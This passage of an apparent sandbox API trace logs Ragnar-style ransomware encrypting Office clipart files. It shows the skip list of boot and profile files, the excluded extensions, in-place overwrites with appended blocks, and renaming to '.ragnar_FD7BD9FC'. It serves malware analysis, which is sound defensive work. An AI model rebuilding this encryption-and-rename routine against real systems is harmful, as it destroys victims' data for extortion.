1 [0088.982] lstrcmpiW (lpString1="NA02009_.WMF", lpString2="bootmgr.efi") returned 1 [0088.982] lstrcmpiW (lpString1="NA02009_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.982] lstrcmpiW (lpString1="NA02009_.WMF", lpString2="desktop.ini") returned 1 [0088.982] lstrcmpiW (lpString1="NA02009_.WMF", lpString2="iconcache.db") returned 1 [0088.982] lstrcmpiW (lpString1="NA02009_.WMF", lpString2="ntldr") returned -1 [0088.982] lstrcmpiW (lpString1="NA02009_.WMF", lpString2="ntuser.dat") returned -1 [0088.982] lstrcmpiW (lpString1="NA02009_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.982] lstrcmpiW (lpString1="NA02009_.WMF", lpString2="ntuser.ini") returned -1 [0088.982] lstrcmpiW (lpString1="NA02009_.WMF", lpString2="thumbs.db") returned -1 [0088.982] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.982] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.982] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.982] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.982] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.982] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.982] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.982] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02009_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02009_.wmf")) returned 0x20 [0088.982] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02009_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02009_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.983] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=10208) returned 1 [0088.983] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x27d7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.983] GetProcessHeap () returned 0x580000 [0088.983] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.983] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.984] VirtualAlloc (lpAddress=0x0, dwSize=0x27e0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.984] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.984] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.984] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x27e0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x27e0, lpOverlapped=0x0) returned 1 [0088.985] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.985] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x27e0, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.986] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x27e0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x27e0, lpOverlapped=0x0) returned 1 [0088.986] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x27e0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.986] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.986] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x27e0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.986] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.986] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.986] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.986] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.986] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.986] GetProcessHeap () returned 0x580000 [0088.986] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.986] CloseHandle (hObject=0xf4) returned 1 [0088.986] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02009_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02009_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02009_.WMF" [0088.986] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02009_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02009_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02009_.WMF.ragnar_FD7BD9FC" [0088.987] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02009_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02009_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02009_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02009_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.987] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x620ded00, ftCreationTime.dwHighDateTime=0x1bd4c01, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x620ded00, ftLastWriteTime.dwHighDateTime=0x1bd4c01, nFileSizeHigh=0x0, nFileSizeLow=0x918, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02041_.WMF", cAlternateFileName="")) returned 1 [0088.987] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.987] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA02041_.WMF" | out: lpString1="NA02041_.WMF") returned="NA02041_.WMF" [0088.987] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02041_.WMF") returned=".WMF" [0088.987] lstrcmpiW (lpString1="NA02041_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.987] lstrcmpiW (lpString1="NA02041_.WMF", lpString2="autorun.inf") returned 1 [0088.987] lstrcmpiW (lpString1="NA02041_.WMF", lpString2="boot.ini") returned 1 [0088.987] lstrcmpiW (lpString1="NA02041_.WMF", lpString2="bootfont.bin") returned 1 [0088.987] lstrcmpiW (lpString1="NA02041_.WMF", lpString2="bootsect.bak") returned 1 [0088.987] lstrcmpiW (lpString1="NA02041_.WMF", lpString2="bootmgr") returned 1 [0088.987] lstrcmpiW (lpString1="NA02041_.WMF", lpString2="bootmgr.efi") returned 1 [0088.988] lstrcmpiW (lpString1="NA02041_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.988] lstrcmpiW (lpString1="NA02041_.WMF", lpString2="desktop.ini") returned 1 [0088.988] lstrcmpiW (lpString1="NA02041_.WMF", lpString2="iconcache.db") returned 1 [0088.988] lstrcmpiW (lpString1="NA02041_.WMF", lpString2="ntldr") returned -1 [0088.988] lstrcmpiW (lpString1="NA02041_.WMF", lpString2="ntuser.dat") returned -1 [0088.988] lstrcmpiW (lpString1="NA02041_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.988] lstrcmpiW (lpString1="NA02041_.WMF", lpString2="ntuser.ini") returned -1 [0088.988] lstrcmpiW (lpString1="NA02041_.WMF", lpString2="thumbs.db") returned -1 [0088.988] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.988] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.988] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.988] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.988] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.988] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.988] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.988] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02041_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02041_.wmf")) returned 0x20 [0088.988] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02041_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02041_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.988] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2328) returned 1 [0088.988] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x90f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.988] GetProcessHeap () returned 0x580000 [0088.988] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.989] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.990] VirtualAlloc (lpAddress=0x0, dwSize=0x918, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.990] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.990] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.990] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x918, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x918, lpOverlapped=0x0) returned 1 [0088.990] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.990] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x918, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.991] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x918, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x918, lpOverlapped=0x0) returned 1 [0088.991] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x918, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.991] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.991] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x918, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.991] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.991] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.991] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.991] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.991] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.991] GetProcessHeap () returned 0x580000 [0088.991] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.991] CloseHandle (hObject=0xf4) returned 1 [0088.991] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02041_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02041_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02041_.WMF" [0088.991] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02041_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02041_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02041_.WMF.ragnar_FD7BD9FC" [0088.992] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02041_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02041_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02041_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02041_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.992] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb82d6100, ftCreationTime.dwHighDateTime=0x1bd4bfe, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb82d6100, ftLastWriteTime.dwHighDateTime=0x1bd4bfe, nFileSizeHigh=0x0, nFileSizeLow=0x43c, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02066_.WMF", cAlternateFileName="")) returned 1 [0088.992] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.992] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA02066_.WMF" | out: lpString1="NA02066_.WMF") returned="NA02066_.WMF" [0088.992] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02066_.WMF") returned=".WMF" [0088.992] lstrcmpiW (lpString1="NA02066_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.992] lstrcmpiW (lpString1="NA02066_.WMF", lpString2="autorun.inf") returned 1 [0088.992] lstrcmpiW (lpString1="NA02066_.WMF", lpString2="boot.ini") returned 1 [0088.992] lstrcmpiW (lpString1="NA02066_.WMF", lpString2="bootfont.bin") returned 1 [0088.992] lstrcmpiW (lpString1="NA02066_.WMF", lpString2="bootsect.bak") returned 1 [0088.992] lstrcmpiW (lpString1="NA02066_.WMF", lpString2="bootmgr") returned 1 [0088.993] lstrcmpiW (lpString1="NA02066_.WMF", lpString2="bootmgr.efi") returned 1 [0088.993] lstrcmpiW (lpString1="NA02066_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.993] lstrcmpiW (lpString1="NA02066_.WMF", lpString2="desktop.ini") returned 1 [0088.993] lstrcmpiW (lpString1="NA02066_.WMF", lpString2="iconcache.db") returned 1 [0088.993] lstrcmpiW (lpString1="NA02066_.WMF", lpString2="ntldr") returned -1 [0088.993] lstrcmpiW (lpString1="NA02066_.WMF", lpString2="ntuser.dat") returned -1 [0088.993] lstrcmpiW (lpString1="NA02066_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.993] lstrcmpiW (lpString1="NA02066_.WMF", lpString2="ntuser.ini") returned -1 [0088.993] lstrcmpiW (lpString1="NA02066_.WMF", lpString2="thumbs.db") returned -1 [0088.993] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.993] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.993] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.993] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.993] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.993] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.993] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.993] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02066_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02066_.wmf")) returned 0x20 [0088.994] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02066_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02066_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.994] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1084) returned 1 [0088.994] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x433, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.994] GetProcessHeap () returned 0x580000 [0088.994] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.994] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.996] VirtualAlloc (lpAddress=0x0, dwSize=0x43c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.996] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.996] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.996] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x43c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x43c, lpOverlapped=0x0) returned 1 [0088.996] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.996] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x43c, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.996] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x43c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x43c, lpOverlapped=0x0) returned 1 [0088.996] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x43c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.996] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.996] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x43c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.996] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.997] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.997] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.997] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.997] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.997] GetProcessHeap () returned 0x580000 [0088.997] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.997] CloseHandle (hObject=0xf4) returned 1 [0088.997] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02066_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02066_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02066_.WMF" [0088.997] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02066_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02066_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02066_.WMF.ragnar_FD7BD9FC" [0088.997] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02066_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02066_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02066_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02066_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.998] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3552d900, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3552d900, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x474, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02091_.WMF", cAlternateFileName="")) returned 1 [0088.998] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.998] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA02091_.WMF" | out: lpString1="NA02091_.WMF") returned="NA02091_.WMF" [0088.998] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02091_.WMF") returned=".WMF" [0088.998] lstrcmpiW (lpString1="NA02091_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.998] lstrcmpiW (lpString1="NA02091_.WMF", lpString2="autorun.inf") returned 1 [0088.998] lstrcmpiW (lpString1="NA02091_.WMF", lpString2="boot.ini") returned 1 [0088.998] lstrcmpiW (lpString1="NA02091_.WMF", lpString2="bootfont.bin") returned 1 [0088.998] lstrcmpiW (lpString1="NA02091_.WMF", lpString2="bootsect.bak") returned 1 [0088.998] lstrcmpiW (lpString1="NA02091_.WMF", lpString2="bootmgr") returned 1 [0088.998] lstrcmpiW (lpString1="NA02091_.WMF", lpString2="bootmgr.efi") returned 1 [0088.998] lstrcmpiW (lpString1="NA02091_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.998] lstrcmpiW (lpString1="NA02091_.WMF", lpString2="desktop.ini") returned 1 [0088.998] lstrcmpiW (lpString1="NA02091_.WMF", lpString2="iconcache.db") returned 1 [0088.998] lstrcmpiW (lpString1="NA02091_.WMF", lpString2="ntldr") returned -1 [0088.998] lstrcmpiW (lpString1="NA02091_.WMF", lpString2="ntuser.dat") returned -1 [0088.998] lstrcmpiW (lpString1="NA02091_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.998] lstrcmpiW (lpString1="NA02091_.WMF", lpString2="ntuser.ini") returned -1 [0088.998] lstrcmpiW (lpString1="NA02091_.WMF", lpString2="thumbs.db") returned -1 [0088.998] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.998] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 